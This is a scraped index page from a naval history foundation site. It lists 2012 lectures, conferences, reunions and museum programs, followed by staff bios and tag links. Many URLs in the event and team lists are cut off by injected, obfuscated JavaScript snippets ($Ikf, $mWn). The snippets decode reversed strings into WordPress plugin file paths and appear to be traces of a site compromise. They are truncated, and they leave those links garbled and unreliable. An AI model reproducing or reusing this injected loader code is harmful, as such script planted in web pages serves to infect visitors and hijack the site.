- [Home School at the Museum: Communication in the Navy](https://navyhistory.org/event/home-school-at-the-museum-communication-in-the-navy-4/) - How do you send silent and coded messages in the military? Students will learn the history of Semaphore, Morse code, Navajo Code talkers and other forms of communication used to send messages from ship to ship and ship to shore. Students will make their own signaling devices to take home and practice sending messages! Museum
- [Home School at the Museum: Communication in the Navy](https://navyhistory.org/event/home-school-at-the-museum-communication-in-the-navy-3/) - How do you send silent and coded messages in the military? Students will learn the history of Semaphore, Morse code, Navajo Code talkers and other forms of communication used to send messages from ship to ship and ship to shore. Students will make their own signaling devices to take home and practice sending messages! Museum
- [Home School at the Museum: Communication in the Navy](https://navyhistory.org/event/home-school-at-the-museum-communication-in-the-navy-2/) - How do you send silent and coded messages in the military? Students will learn the history of Semaphore, Morse code, Navajo Code talkers and other forms of communication used to send messages from ship to ship and ship to shore. Students will make their own signaling devices to take home and practice sending messages! Museum
- [Home School at the Museum: Communication in the Navy](https://navyhistory.org/event/home-school-at-the-museum-communication-in-the-navy-1/) - How do you send silent and coded messages in the military? Students will learn the history of Semaphore, Morse code, Navajo Code talkers and other forms of communication used to send messages from ship to ship and ship to shore. Students will make their own signaling devices to take home and practice sending messages! Museum
- [National Maritime Historical Society 2012 Annual Meeting ](https://navyhistory.org/event/nmhs-annual-meeting-2012/) - Please visit the National Maritime Historical Society website for more information.
- [Britain and the Sea: The Maritime Sphere and the Past, Present and Future of the UK](https://navyhistory.org/event/britain-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/sn/) - This conference, organized by University of Plymouth, will examine the relationship between Great Britain and the Sea. It is increasingly said that Britain is in danger of losing its self-identity as a maritime nation at the point when the sea becomes the focus for a new era of economic exploitation, sustainable transportation and inter-state rivalry.
- [National Maritime Historical Society: 2012 Washington Awards Dinner](https://navyhistory.org/event/nmhs-2012-washing<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - The National Maritime Historical Society’s Distinguished Service Award will be presented to three worthy recipients: ● Admiral Bruce DeMars, USN (Ret.) has actively promoted the important history of America’s Navy. He is a submariner who, in a career of over forty years, rose to become the four-star Director of the Navy’s Nuclear Propulsion Program. As
- [USS JOHN R. CRAIG (DD 885) Reunion](https://navyhistory.org/event/uss-john-r-craig-dd-885-reunion/) - The USS John R. Craig (DD 885) Association invites you to the 22nd Reunion, to be held in September 2012, in Indianapolis. Email: Jerry Chwalek at jermail@ameritech.net Please visit their website for more information.
- [US Navy Band – Black History Month Concert at US Navy Memorial](https://navyhistory.org/event/us-navy-b<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/s/) - African American Diversity Concerts – free, live performances by the U.S. Navy Band held at the United States Navy Memorial in honor of Black History Month. The first performance, on Friday, February 17, will feature the Brass Quartet with guest soloist Musician 1st Class Cory Parker in a concert that tells the story of the
- [US Navy Band - Black History Month Concert at US Navy Memorial ](https://navyhistory.org/event/us-navy-b<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/s/) - African American Diversity Concerts – free, live performances by the U.S. Navy Band held at the United States Navy Memorial in honor of Black History Month. The first performance, on Friday, February 17, will feature the Brass Quartet with guest soloist Musician 1st Class Cory Parker in a concert that tells the story of the
- [Conference on Small Navies](https://navyhistory.org/event/conference-on-small-navies/) - The conference will be hosted by the Centre for Military History and Strategic Studies at the National University of Ireland Maynooth (NUIM) and is held in partnership with the Corbett Centre for Maritime Policy Studies at King’s College London, the Centre for Applied Research in Security Innovation (CASI) at Liverpool Hope University and with the
- [Navy Memorial Author on Deck Lecture - "1812: The Navy's War"](https://navyhistory.org/event/navy-memorial-author-on-deck-1812-navys-war/) - As part of the United States Navy Memorial’s Authors on Deck book lecture series, historian and award-winning author George C. Daughan will present his latest work, 1812: The Navy’s War (Basic Books; October 4, 2011). Guests are invited to learn about the often-overlooked history of what has been called our Second War of Independence. Encompassing
- [International Marine Forensics Symposium 2012](https://navyhistory.org/event/international-marine-forensics-symposium-2012/) - This symposium brings together marine professionals and historians to exchange information on historic marine losses, on marine forensic investigation processes and tools, and on case studies where causes of failures and losses have been determined or are under continued study. The Symposium is jointly sponsored by national and international technical societies, and speakers are anticipated
- [Battleship NORTH CAROLINA Firepower Program](https://navyhistory.org/event/battleship-north-carolina-firepower-program/) - Learn about and explore the Battleship's 16-inch and 5-inch guns from the gun houses to the ammunition loading compartments; the 40mm and 20mm guns, and the weapons that they replaced (1.10 and 50 caliber guns). The finest guns are of little use without the means to direct their fire accurately at the target. Presenters will
- [ARRT Meeting: The Rhode Island Campaign - The First French and American Operation of the Revolutionary War ](https://navyhistory.org/event/arrt-meeting-the-rhode-isl<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt/) - Please join the American Revolution Round Table of the District of Columbia (ARRT-DC) for their 7 March 2012 meeting. The program will be presented by ARRT-DC member Christian M. McBurney, author of The Rhode Island Campaign: The First French and American Operation of the Revolutionary War, published in September 2011 by Westholme. It is one of the
- [Research Seminar: The Nuts and Bolts of the Military-Industrial Complex -  Standardization, Information Control, and American Torpedo Production before World War I](https://navyhistory.org/event/st<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/) - With Katherine Epstein (Rutgers University-Camden) Commentator: Marcus Jones (United States Naval Academy) The seminar is open to the public and is based on a paper that is circulated in advance. Those planning to attend are encouraged to read the paper before coming to the seminar. The seminar begins promptly at 6:30, and takes place in
- [Lecture: "The Pirate Coast" with Richard Zacks](https://navyhistory.org/event/lecture-pirate-coast-richard-zacks/) - Join author and historian Richard Zacks for a presentation featuring his real-life thriller The Pirate Coast, the true story of William Eaton and his secret mission to overthrow the government of Tripoli in an attempt to stop the legendary Barbary Pirates of North Africa from hijacking American ships. The operation was sanctioned by President Thomas
- [Lecture: Georgia's Contribution to the Confederate Navy](https://navyhistory.org/event/lecture-georgias-contribution-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - Bruce Smith, director of the National Civil War Naval Museum in Port Columbus, will talk about Georgia’s role in the Confederate Navy. Please visit the Ashantilly Center website for more information.
- [Civil War Navy Lecture Lecture at Ashantilly Center](https://navyhistory.org/event/civil-war-navy-lecture-lecture-ashantilly-center/) - Matthew T. Eng of the Hampton Roads Naval Museum will be discussing the overall scope of the Civil War Navy Sesquicentennial and its role in the ongoing narrative of memory during the war. Please visit the Ashantilly Center website for more information.
- [Eight Bells Lecture Series: "Saving Big Ben"](https://navyhistory.org/event/eight-bells-lecture-saving-big-ben/) - John R. Satterfield, author of Saving Big Ben: The USS Franklin and Father Joseph T. O'Callahan to speak at Naval War College. Father Joseph T. O'Callahan was the first military chaplain to receive the Medal of Honor. An unlikely war hero, the bespectacled math professor who became the U.S. Navy's first Jesuit chaplain, served in
- [Society for History in the Federal Government 2012 Annual Meeting](https://navyhistory.org/event/society-for-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - The SHFG annual conference and meeting showcases new scholarship on federal history and the activities of federal history programs in a wide variety of venues. We welcome federal history professionals, non-federal professionals and historians, and students. The program includes the Roger R. Trask Lecture by a distinguished member of the federal history community, a luncheon,
- [2012 Chicago Maritime Festival](https://navyhistory.org/event/2012-chicago-maritime-festival/) - The Chicago Maritime Festival is an international gathering to celebrate Chicago's maritime community. It is an event organized by the Chicago Maritime Society, the Chicago History Museum, and Common Times. In 2003, the first Chicago Maritime Festival produced the most diverse maritime program ever staged in Chicago. The festival drew over 1,000 people to its
- [2012 Great Lakes Shipwreck Festival](https://navyhistory.org/event/2012-great-lakes-shipwreck-festival/) - The 2012 Great Lakes Shipwreck festival is scheduled for Saturday February 25, 2012, and will be held at Washtenaw Community College's Morris Lawrence Building at 4800 East Huron River Drive, Ann Arbor, Michigan 48105. Purchase discounted advance tickets online now! In the lead up to the show please check back on their website regularly as
- [150th Anniversary - Launch of USS MONITOR](https://navyhistory.org/event/150th-anniversary-launch-of-uss-moni<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssal/) - “A National Sons of Union Veterans of the Civil War Sesquicentennial Signature Event” SATURDAY - JANUARY 28, 2012 HISTORY FAIR - CAPITAL ONE BANK - 807 Manhattan Ave., Brooklyn, NY 11222 CONCERT - WINE AND CHEESE - CHURCH OF THE ASCENSION - 127 Kent St., Brooklyn, NY 11222 SUNDAY - JANUARY 29, 2012 MEMORIAL SERVICE/COFFEE/CAKE
- [Brick by Brick: LEGO Shipbuilding at Hampton Roads Naval Museum](https://navyhistory.org/event/brick-by-brick-lego-shipbuilding-hrnm/) - Building with LEGOs is a celebrated pastime where enthusiasts of all ages collect and create miniature models. In the spirit of creativity, the Hampton Roads Naval Museum is holding a FREE program about building ships with LEGOs on Saturday, February 4, from 10 a.m. to 5 p.m. The Hampton Roads Naval Museum wants guests to
- [Behind the Scenes of the Battleship NORTH CAROLINA](https://navyhistory.org/event/behind-the-scenes-battleship-north-carolina/) - For the explorer at heart, bring a friend along for a behind the scenes tour of unrestored areas of the Battleship North Carolina on Saturday, January 14, 2012. The four-hour tour consists of small groups with guides. Guests explore the bow (officers' country and boatswain locker), third deck (Radio II, brig, after gyro, storage rooms, ammunition
- [USS FORRESTAL (CV-59) Reunion 2012](https://navyhistory.org/event/uss-forrestal-reunion-2012/) - Please visit the USS Forrestal website for more information.
- [USS FORRESTAL (CV-59) Fire Remembrance Ceremony](https://navyhistory.org/event/uss-forrestal-fire-remembrance-ceremony/) - Please visit the USS Forrestal website for more information.
- [Historic Naval Ships Association 2012 Conference](https://navyhistory.org/event/hnsa-2012-conference/) - The 2012 Historic Naval Ships Association conference will be held in Key West, FL at the USCGC Ingham Memorial Museum. Please visit the HNSA website for more information.
- [Lecture: Medal of Honor - Portraits of Valor Beyond the Call of Duty ](https://navyhistory.org/event/medal-of-honor-portraits-of-valor/) - December 2011 marked the 150th anniversary of President Lincoln’s creation of the Medal of Honor. Medal of Honor recipients Harvey C. “Barney” Barnum, Jr., Brian Thacker, and others engage in discussion moderated by Gen. Nicholas B. Kehoe, president of the Congressional Medal of Honor Foundation. A book signing of Medal of Honor: Portraits of Valor
- [Little Skippers: Iron Cheese Boxes and Epic Battles](https://navyhistory.org/event/little-skippers-iron-cheese-boxes-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bi/) - Families are invited to the U.S. Navy Museum to discover why the Battle of Hampton Roads single-handedly changed U.S. naval and world history for ever. After a short tour of the U.S. Navy Museum Civil War exhibit, children will be able to make a model USS Monitor and create a Civil War newspaper. Driving directions
- [Home School at the Museum: Buildings and Bridges](https://navyhistory.org/event/home-school-at-museum-buildings-bridges-4/) - Designing a building to scale: In January, students will discover what it takes to design a building and the interior space to scale. After making their own ruler, students will be challenged to design their own museum blueprint using the correct scale. Bridge Testing: For those who made balsa wood bridges at our December program,
- [Home School at the Museum: Buildings and Bridges](https://navyhistory.org/event/home-school-at-museum-buildings-bridges-3/) - Designing a building to scale: In January, students will discover what it takes to design a building and the interior space to scale. After making their own ruler, students will be challenged to design their own museum blueprint using the correct scale. Bridge Testing: For those who made balsa wood bridges at our December program,
- [Home School at the Museum: Buildings and Bridges](https://navyhistory.org/event/home-school-at-museum-buildings-bridges-2/) - Designing a building to scale: In January, students will discover what it takes to design a building and the interior space to scale. After making their own ruler, students will be challenged to design their own museum blueprint using the correct scale. Bridge Testing: For those who made balsa wood bridges at our December program,
- [Home School at the Museum: Buildings and Bridges](https://navyhistory.org/event/home-school-at-museum-buildings-bridges-1/) - Designing a building to scale: In January, students will discover what it takes to design a building and the interior space to scale. After making their own ruler, students will be challenged to design their own museum blueprint using the correct scale. Bridge Testing: For those who made balsa wood bridges at our December program,
- [Block 39 Thursday: Spanish American War](https://navyhistory.org/event/block-39-thursday-spanish-american-war/) - This new program at the National Museum of the United States Navy is designed to bring “bite sized” pieces of naval history and heritage to the enlisted community. Each month’s program will focus on a different topic in naval history through gallery talks and examination of artifacts in the Navy Museum (without lectures or Power Point!)
- [6th International Congress on Maritime History](https://navyhistory.org/event/international-congress-on-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ss/) - The Organizing Committee of the International Maritime Economic History Association is pleased to inform you that the 6th International Congress of Maritime History will be hosted by Ghent University at Het Pand, an old Dominican monastery located in the heart of the city. We will travel to Antwerp for one day to hold part of
- [23rd Annual Symposium on Maritime Archaeology and History of Hawaii and the Pacific](https://navyhistory.org/event/maritime-archaeology-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tset/) - Diving into History Technical and Sport Exploration of Shipwrecks Please visit the symposium website for more information.
- [War of 1812 Bicentennial Conference Series, Part 1 - Origins and the War at Sea](https://navyhistory.org/event/war-of-1812-conference-origins-war-at-sea/) - The Gregg Centre for the Study of War and Society at the University of New Brunswick, in conjunction with the Canadian-American Centre at the University of Maine and the New Brunswick Museum, is pleased to announce the first in a series of three conferences/symposia in commemoration of the bicentennial of the War of 1812. This
- [2012 New Researchers in Maritime History Conference](https://navyhistory.org/event/new-researchers-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - At this conference, new researchers are invited to present their research in a supportive and friendly environment. It is held in March each year, and the location moves around Britain and is hosted by a variety of universities and museums. Please visit the British Commission for Maritime History website to submit a paper or learn
- [Battle of the Coral Sea 70th Anniversary Memorial Service Excursion](https://navyhistory.org/event/coral-sea-70th-anniversary-excursion/)
- [Civil War Navy Conference at the 10th Annual Battle of Hampton Roads Weekend](https://navyhistory.org/event/civil-war-navy-conference/) - Featuring Award–Winning Authors Harold Holzer and Craig Symonds The Mariners’ Museum in Newport News, VA, along with its partners at NOAA’s Monitor National Marine Sanctuary, The Museum of the Confederacy, and the Hampton Roads Naval Museum are soliciting panels and poster sessions for the Civil War Navy Conference held during the 10th annual Battle of
- [Naval Historical Foundation STEM-H 2012 - Group 1](https://navyhistory.org/event/nhf-stem-2012-group-1/) - The Navy has partnered with the non-profit 501 (c)(3) Naval Historical Foundation to design and fabricate state-of-the-art exhibits telling the story of the Navy’s role in achieving a peaceful outcome in the Cold War. For a virtual tour of the exhibit, visit www.usnavymuseum.org. The exhibit recognizes the contributions and sacrifices of the brave men and
- [Oral History in the Mid-Atlantic Region - Spring 2012 Conference](https://navyhistory.org/event/oral-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Oral History in the Mid-Atlantic Region (OHMAR) announces its Spring 2012 Conference to be held April 11-12 at the Reginald Lewis Museum in Baltimore, Maryland. The program committee invites participants to interpret the conference theme, "Generations of Oral History." Topics might include the historiography of oral history practice and theory; how generations of technology have
- [Navy League Sea-Air-Space Exposition 2012](https://navyhistory.org/event/navy-league-sea-air-space-2012/) - The Navy League’s Sea-Air-Space Exposition was founded in 1965 as a means to bring the U.S. defense industrial base, the private-sector U.S. companies and the key military decision makers together for an annual innovative, educational, professional and maritime based event located in the heart of Washington, DC. Since 1965, Sea-Air-Space has become the largest maritime
- [Surface Navy Association 2012 National Symposium](https://navyhistory.org/event/surface-navy-association-2012-national-symposium/) - A Credible Force in Uncertain Times Join the Surface Navy Association for their 24th National Symposium, January 10-12, 2012. This symposium brings together military, government and industry to highlight our Surface Navy Warriors currently serving in the past and future. Currently highlighted topics and panels are as follows: Innovation in Uncertain Times Updating the Surface
- [2012 Naval Order of the United States Congress](https://navyhistory.org/event/2012-naval-order-congress/) - Please check back for more details as they are confirmed - this event will be held in Baltimore, MD. Please visit the Naval Order of the United States website to learn more about their organization.
- [Destroyer Leader Association Reunion](https://navyhistory.org/event/destroyer-leader-reunion/) - Destroyer Leader Association Annual Reunion USS Norfolk (DL 1) USS Mitscher (DL 2/DDG 35) USS John S. McCain (DL 3/DDG 36) USS Willis A. Lee (DL 4) USS Wilkinson (DL 5) For information or to RSVP please contact: Walter L. Alexander 2311 Idavere Rd SW Roanoke, VA 24015-3903 (540) 345 – 5826
- [The First Sea Lord's Annual Lecture on Naval History and Strategy](https://navyhistory.org/event/first-sea-lords-annual-lecture/) - Prof Andrew Lambert, King’s College London Attendance at this event is by ticket only. To request tickets contact: Emma Nash (emma.nash@nmrn.org.uk) or write to: The National Museum of the Royal Navy HM Naval Base (PP66), Portsmouth Hampshire PO1 3NH Please visit the National Museum of the Royal Navy website for more information.
- [Bermuda Dockyard and the War of 1812 Conference](https://navyhistory.org/event/bermuda-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Conference and Tour Commemorating the 200th Anniversary of the War of 1812, this conference will examine Bermuda’s vital role during this conflict. Bermuda became the Royal Navy’s warm water North Atlantic base in the 1790s, supporting trade routes and colonies after Britain lost control of its American colonies and ports during the American War for
- [Conference: The Falklands War 30 Years On](https://navyhistory.org/event/falkl<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigu/) - This conference will provide new, early career and established scholars the opportunity to present new research and perspectives on the 1982 Falklands Conflict. It will focus on the war at and from the sea. The conference will welcome paper proposals which cover any aspect of the maritime conflict from the perspectives of Britain, Argentina or
- [Lecture: Packing a Punch - Naval cartoons in print, propaganda and private scribbling](https://navyhistory.org/event/packing-a-punch-naval-car<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/r/) - A lecture by Mr Matthew Sheldon, NMRN These seminars are a new venture for the National Museum of the Royal Navy. New and established scholars will present their latest academic research, analysis and opinions on their areas of expertise. All seminars will take place in the Princess Royal Gallery, NMRN Portsmouth and are free of
- [North American Society of Oceanic Historians Conference and Annual Meeting](https://navyhistory.org/event/nasoh-2012-conference/) - The Multifaceted Maritime World Maritime Worlds: Transportation, Sciences, Fisheries, Communities, Conflict, Commerce, The North American Society of Oceanic Historians (NASOH) will hold its conference and annual meeting in Galveston from Sunday, 22 April, through Thursday, 26 April. The headquarters hotel will be the Tremont Hotel in historic downtown Galveston. Texas A&M University at Galveston will
- [Conference: Sea Literature, History and Culture](https://navyhistory.org/event/sea-literature-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-/) - National Popular Culture & American Culture Associations 2012 Conference http://pcaaca.org/conference/national.php April 11-14, 2012 (after Passover and Easter) Boston, Massachusetts Sessions are scheduled in 1½ hour slots, with four papers or speakers each. You may propose individual papers, special panels, or sessions organized around a theme. Possible sea-related topics include, but are not limited to: Film,
- [Lecture: Those they left behind - Naval families during the Napoleonic Wars](https://navyhistory.org/event/naval-families-napoleonic-wars/) - A lecture by Dr Helen Doe, University of Exeter These seminars are a new venture for the National Museum of the Royal Navy. New and established scholars will present their latest academic research, analysis and opinions on their areas of expertise. All seminars will take place in the Princess Royal Gallery, NMRN Portsmouth and are
- [Lecture: Soldiers or Sailors? Royal Marines - A Unique Fighting Force](https://navyhistory.org/event/lecture-soldiers-or-sailors/) - A lecture by Dr Britt Zerbe, independent scholar These seminars are a new venture for the National Museum of the Royal Navy. New and established scholars will present their latest academic research, analysis and opinions on their areas of expertise. All seminars will take place in the Princess Royal Gallery, NMRN Portsmouth and are free
- [West 2012: America’s Military at the  Crossroads](https://navyhistory.org/event/west-2012/) - “America’s Military at the Crossroads: What’s Out and What’s In for 2012 and Beyond?” Co-sponsored by AFCEA International and the U.S. Naval Institute, West 2012 is the largest event on the West Coast for communications, electronics, intelligence, information systems, imaging, military weapon systems, aviation, shipbuilding, and more. Registration is FREE for panel sessions and exhibits.
- [Association of the United States Navy - Capitol Hill Reception](https://navyhistory.org/event/ausn-capi<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/c/) - It doesn’t get more powerful than this. If Washington is all about who you know, then this is where you need to be. Get introduced to the decision-makers, Navy officials, and the Hill’s most important people, including senators, members of the HASC, and members of the SASC. The reception provides the perfect setting for business
- [Lecture: The Falklands War (1982) - The Experiences of Naval Wives and Families](https://navyhistory.org/event/lecture-the-falkl<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-s/) - A lecture by Ms Vicki Woodman, University of Portsmouth These seminars are a new venture for the National Museum of the Royal Navy. New and established scholars will present their latest academic research, analysis and opinions on their areas of expertise. All seminars will take place in the Princess Royal Gallery, NMRN Portsmouth and are
- [Society for Historical Archaeology 2012 Conference](https://navyhistory.org/event/society-for-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - Conference Theme: By the Dawn’s Early Light: Forging Identity, Securing Freedom, and Overcoming Conflict The year 2012 marks the bicentennial of the War of 1812, which makes Baltimore the ideal location for this year’s conference. The Battle of Baltimore was one of the most significant turning points in the war. American forces successfully repulsed a
- [Pearl Harbor: An International History Perspective](https://navyhistory.org/event/pearl-harbor-an-international-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/s/) - Moderator: Richard Jupa, New York Military Affairs Symposium (NYMAS) 10:30-11 AM Film and Pearl Harbor 11:15-12:15 PM Pearl Harbor: A Global Perspective Spring-Winter 1941 James Dingeman, NYMAS 12:15-1:15 PM The View of the Day of Infamy: Japanese and American Media of Pearl Harbor Jason McDonald, webmaster of worldwar2database.com 1:30 - 2:30 PM U.S.S. Arizona Robert

## Team

- [Tyler Robinson, Director of Membership](https://navyhistory.org/team/tyler-robinson-direc<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - Tyler Robinson Tyler Robinson graduated from the University of St Andrews in 2017 with an undergraduate degree in International Relations and in 2018 with a master's degree in International Security Studies. As an analyst for the strategic advisory firm OODA LLC, he contributed reports on geopolitical risks and emerging technologies to the OODA Loop website
- [Dr. Dave Winkler, Historian](https://navyhistory.org/team/dr-dave-winkler-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - Dr. David F. Winkler David F. Winkler earned his Ph.D. in 1998. from American University in Washington, DC. His dissertation Cold War at Sea: High Seas Confrontation between the U.S. and Soviet Union was published by the Naval Institute Press in 2000, was republished under the title Incidents at Sea: American Confrontation and Cooperation with
- [Tatiana Puschnigg, Intern](https://navyhistory.org/team/tatiana-puschnigg-intern/) - Tatiana Puschnigg Tatiana Puschnigg is a rising senior at George Mason University where she studies Global Affairs. She previously has spent her summers working for Americorps through Outdoor Odyssey at Roaring Run. Her dream is to one day follow in her father’s footsteps and become a Naval Officer and eventually, work for the Department of
- [RADM Edward “Sonny” Masso, USN (Ret.), Executive Director](https://navyhistory.org/team/radm-edward-sonny-masso-usn-ret-executive-direc<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tso/) - RADM Edward “Sonny” Masso, USN (Ret.) Rear Admiral Sonny Masso assumed the duties of Executive Director of the NHF on 14 March 2019. A native of San Clemente, California, he served in the U.S. Navy as a Surface Warfare Officer retiring in October 2009 after 32 years in the active and reserve components, nine commands,
- [Harold L. Bryant, Executive Assistant](https://navyhistory.org/team/harold-l-bryant-executive-assistant/) - Gunnery Sergeant Harold L. Bryant, USMC (Ret.) Gunnery Sergeant Bryant is a 1980 Calumet High School, Chicago Illinois graduate. After high school Gunnery Sergeant Bryant started training and working as a junior fiscal assistant at the University of Chicago Hospitals and Clinics while attending Chicago State University at night. In 1982 Gunnery Sergeant Bryant enlisted
- [RADM Edward “Sonny” Masso, USN (Ret.), Executive Director](https://navyhistory.org/team/radm-edward-sonny-masso-usn-ret-executive-direc<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tso/) - NHF Welcomes New Executive Director RADM Edward “Sonny” Masso As I write this, I have been the Naval Historical Foundation’s Executive Director for just over three months and am honored to be here serving this noble organization in preserving, promoting, and making more relevant, Navy history to our Naval Service and general public. I recall
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- [Rediscovering Independence](https://navyhistory.org/category/rediscovering-independence/)
- [Victory at Sea](https://navyhistory.org/category/victory-at-sea/)
- [Event](https://navyhistory.org/category/event-3/)
- [Annual Meeting](https://navyhistory.org/category/annual-meeting/)
- [Other Reviews](https://navyhistory.org/category/other-reviews/)
- [Leadership](https://navyhistory.org/category/nhf-leadership/)
- [Pull Together](https://navyhistory.org/category/pull-together/)
- [Thursday Tidings](https://navyhistory.org/category/thursday-tidings/)
- [Making Waves](https://navyhistory.org/category/makingwaves/) - Making Waves: Memories, Musings, and Sea Stories
- [Second Saturday](https://navyhistory.org/category/event-3/second-saturday/)
- [Featured Videos](https://navyhistory.org/category/featured-videos/)

## Tags

- [Commemoration](https://navyhistory.org/tag/commemoration/)
- [destroyer](https://navyhistory.org/tag/destroyer/)
- [exhibit](https://navyhistory.org/tag/exhibit/)
- [navy](https://navyhistory.org/tag/navy/)
- [museum](https://navyhistory.org/tag/museum/)
- [history](https://navyhistory.org/tag/history-2/)
- [vietnam](https://navyhistory.org/tag/vietnam/)
- [war](https://navyhistory.org/tag/war/)
- [cold war gallery](https://navyhistory.org/tag/cold-war-gallery-2/)
- [fundraising](https://navyhistory.org/tag/fundraising-2/)
- [donate](https://navyhistory.org/tag/donate/)
- [donation](https://navyhistory.org/tag/donation-2/)
- [naval](https://navyhistory.org/tag/naval/)
- [scholarship](https://navyhistory.org/tag/scholarship/)
- [reviews](https://navyhistory.org/tag/reviews/)
- [books](https://navyhistory.org/tag/books/)
- [library](https://navyhistory.org/tag/library/)
- [department](https://navyhistory.org/tag/department/)
- [WWII](https://navyhistory.org/tag/wwii/)
- [WW2](https://navyhistory.org/tag/ww2/)
- [World War II](https://navyhistory.org/tag/world-war-ii/)
- [records](https://navyhistory.org/tag/records/)
- [submarines](https://navyhistory.org/tag/submarines/)
- [sub](https://navyhistory.org/tag/sub/)
- [volunteer](https://navyhistory.org/tag/volunteer/)
- [research](https://navyhistory.org/tag/research/)
- [archives](https://navyhistory.org/tag/archives/)
- [historian](https://navyhistory.org/tag/historian/)
- [submarine](https://navyhistory.org/tag/submarine/)
- [donor](https://navyhistory.org/tag/donor/)
- [photos](https://navyhistory.org/tag/photos/)
- [photograph](https://navyhistory.org/tag/photograph/)
- [pacific](https://navyhistory.org/tag/pacific/)
- [cold war](https://navyhistory.org/tag/cold-war/)
- [aviator](https://navyhistory.org/tag/aviator/)
- [ship](https://navyhistory.org/tag/ship/)
- [model](https://navyhistory.org/tag/model/)
- [models](https://navyhistory.org/tag/models/)
- [hull](https://navyhistory.org/tag/hull/)
- [testing](https://navyhistory.org/tag/testing/)
- [basin](https://navyhistory.org/tag/basin/)
- [washington navy yard](https://navyhistory.org/tag/washington-navy-yard/)
- [CNO](https://navyhistory.org/tag/cno/)
- [Admiral](https://navyhistory.org/tag/admiral/)
- [Holloway](https://navyhistory.org/tag/holloway/)
- [video](https://navyhistory.org/tag/video/)
- [Vietnam War](https://navyhistory.org/tag/vietnam-war/)
- [Haiphong Harbor](https://navyhistory.org/tag/haiphong-harbor/)
- [1972](https://navyhistory.org/tag/1972/)
- [cruiser](https://navyhistory.org/tag/cruiser/)
- [Newport News](https://navyhistory.org/tag/newport-news/)
- [missile](https://navyhistory.org/tag/missile/)
- [target](https://navyhistory.org/tag/target/)
